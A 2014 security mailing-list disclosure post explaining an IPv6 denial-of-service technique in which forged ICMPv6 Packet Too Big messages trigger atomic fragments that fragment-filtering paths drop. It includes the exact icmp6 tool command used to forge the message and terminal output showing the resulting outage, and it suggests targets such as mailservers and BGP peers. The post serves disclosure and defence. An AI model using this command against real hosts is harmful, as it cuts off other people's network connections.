Date: Thu, 21 Aug 2014 21:03:03 -0300
From: Fernando Gont <fgont@...networks.com>
To: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>,
  fulldisclosure@...lists.org
Subject: DoS attacks (ICMPv6-based) resulting from IPv6 EH drops

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Folks,

Ten days ago or so we published this I-D:
<http://www.ietf.org/internet-drafts/draft-gont-v6ops-ipv6-ehs-in-real-world-00.txt>

Section 5.2 of the I-D discusses a possible attack vector based on a
combination of "forged" ICMPv6 PTB messages and IPv6 frag drops by
operators, along with proposed countermeasures -- but let me offer a
more informal and practical explanation:

1) It is known that filtering of packets containing IPv6 Extension
Headers (including the Fragment Header) is widespread (see our I-D above)

2) Let us assume that Host A is communicating with Server B, and that
some node filters fragments between Host A and Server B.

3) An attacker sends a spoofed ICMPv6 PTB to server B, with a "Next Hop
MTU<1280), in the hopes of eliciting "atomic fragments" (see
<http://tools.ietf.org/rfc/rfc6946.txt>) from now on.

4) Now server B starts sending IPv6 atomic fragments... And since they
include a frag header (and in '2)' above we noted that frags are dropped
on that path), these packets get dropped (i.e., DoS).


"Demo" with the icmp6 tool
(<http://www.si6networks.com/tools/ipv6toolkit>) -- (some addresses have
been changed (anonymized), but it is trivial to pick a victim server...)

"2001:db8:1:10:0:1991:8:25" is the server, and
"2001:5c0:1000:a::840" is my own address):

- ---- cut here ----
***** First of all, I telnet to port 80 of the server, and
everything works as expected ****

fgont@...ellite:~$ telnet 2001:db8:1:10:0:1991:8:25 80
Trying 2001:db8:1:10:0:1991:8:25...
Connected to 2001:db8:1:10:0:1991:8:25.
Escape character is '^]'.
^CConnection closed by foreign host.

**** Now I send the forget ICMPv6 PTB ****

fgont@...ellite:~$ sudo icmp6  --icmp6-packet-too-big -d
2001:db8:1:10:0:1991:8:25 --peer-addr 2001:5c0:1000:a::840 --mtu 1000 -o
80 -v
icmp6: Security assessment tool for attack vectors based on ICMPv6 error
messages

IPv6 Source Address: 2001:5c0:1000:a::840 (automatically selected)
IPv6 Destination Address: 2001:db8:1:10:0:1991:8:25
IPv6 Hop Limit: 227 (randomized)
ICMPv6 Packet Too Big (Type 2), Code 0
Next-Hop MTU: 1000
Payload Type: IPv6/TCP (default)
Source Address: 2001:db8:1:10:0:1991:8:25 (automatically-selected)
Destination Address: 2001:5c0:1000:a::840
Hop Limit: 237 (randomized)
Source Port: 80	Destination Port: 38189 (randomized)
SEQ Number: 734463213 (randomized)	ACK Number: 866605720 (randomized)
Flags: A (default)	Window: 18944 (randomized)	URG Pointer: 0 (default)
Initial attack packet(s) sent successfully.


***** And now I try the same telnet command as above... but it fails,
because the frags from the server to me are getting dropped somewhere ****

fgont@...ellite:~$ telnet 2001:db8:1:10:0:1991:8:25 80
Trying 2001:db8:1:10:0:1991:8:25...
[timeout]
- ---- cut here ----


Of course, in this particular case we just "shot ourselves". But one
could do this to DoS connections between mailservers, etc.

A nice question is: what if e.g....

1) some BGP servers accept ICMPv6 PTB that claim an MTU < 1280, and
react (as expected) by generating atomic fragments, *and*,

2) These same BGP servers deem fragmentation as "harmful", and hence
drop such fragments

you could essentially DoS traffic between them.


*******************************************************************
JOIN US at the next edition of our "Hacking IPv6 Networks" training
course in Leipzig, Germany. : February 2-3, 2015.
More info available at:
<https://www.it-defense.de/en/it-defense-2015/trainings/hacking-ipv6-networks/>
*******************************************************************
- -- 
Fernando Gont
SI6 Networks
e-mail: fgont@...networks.com
PGP Fingerprint: 6666 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492




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